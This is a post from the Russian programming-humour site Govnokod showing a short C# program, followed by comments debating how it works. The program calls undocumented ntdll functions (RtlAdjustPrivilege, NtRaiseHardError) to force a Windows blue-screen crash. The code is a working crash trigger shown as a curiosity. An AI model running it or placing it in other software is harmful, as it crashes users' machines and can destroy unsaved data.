1. C# / Говнокод #27138

    +2

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    using JINN=System;
    
    namespace SiniyShaman
    {
    	class PrizivSinegoDemona
    	{
    		[JINN.Runtime.InteropServices.DllImport("ntdll.dll")]
    		public static extern uint RtlAdjustPrivilege(int Privilege,bool bEnablePrivilege,bool IsThreadPrivilege,out bool PreviousValue);
    		
    		[JINN.Runtime.InteropServices.DllImport("ntdll.dll")]
    		public static extern uint NtRaiseHardError(uint ErrorStatus,uint NumberOfParameters,uint UnicodeStringParameterMask,JINN.IntPtr Parameters,uint ValidResponseOption,out uint Response);
    		
    		[JINN.STAThread]
    		static unsafe void Main(string[]args)
    		{
    			JINN.Runtime.InteropServices.Marshal.PrelinkAll(typeof(PrizivSinegoDemona));
    			JINN.Boolean t1;
    			uint t2;
    			RtlAdjustPrivilege(19,true,false,out t1);
    			NtRaiseHardError(0xc0000022,0,0,JINN.IntPtr.Zero,6,out t2);
    		}
    	}
    }

    Волшебства не бывает говорили они... В армию уже походу не возьмут %)

    Запостил: DartPower, 29 Ноября 2020

    Комментарии (8) RSS

    • Вызов из шарпа недокументированной виндохуйни которая делает бсод? Как интересно...
      Ответить
    • А как из юзерленда можно дернуть NtRaiseHardError?

      Или там есть спец привилегия типа как у TCB (та самая 19-я, кстати у нее есть имя?), но разве винда ее даст?
      Ответить
      • Обычная привилегия на шатдаун, если верить гуглу.

        З.Ы. Хотя 19 -- debug. Кому верить -- хрен знает.
        Ответить
        • Ну и какая из них разрешает вызвать NtRaiseHardError?

          А, стоп

          Пишут, что это не BSOD никакой, а какое-то говносообщение через LPC в CSRSS, и он в ответ message box кажет

          Тогда где тут синий джин/
          Ответить
          • Неибу, функция же недокументированная. Номера, в теории, вроде тоже не фиксированные, надо имена юзать.
            Ответить
            • чото я думал, что привелегии это макросы, определенные в хедерах, и соответстенно резолвятся в числа в момент компиляции. Тогда их нельзя менять.

              Но я могу быть не прав
              Ответить
              • Короче всё как всегда запутанно... RtlAdjustPrivilege -- недокументированная хуита, которая юзает циферки из wdm.h. И 19 таки означает SE_SHUTDOWN_PRIVILEGE.

                А в документированном API рекомендуется получать циферку (luid) по имени привилегии (SE_SHUTDOWN_NAME), а не хардкодить. Интересно нафига, если они всё равно захардкожены в нижнем слое.

                У MS как всегда джва API -- для себя и для остальных.
                Ответить
                • З.Ы. Или luid и эта циферка из wdm.h -- разные вещи, и они как-то там мапаются друг на друга?

                  Какой багор )))
                  Ответить

    Добавить комментарий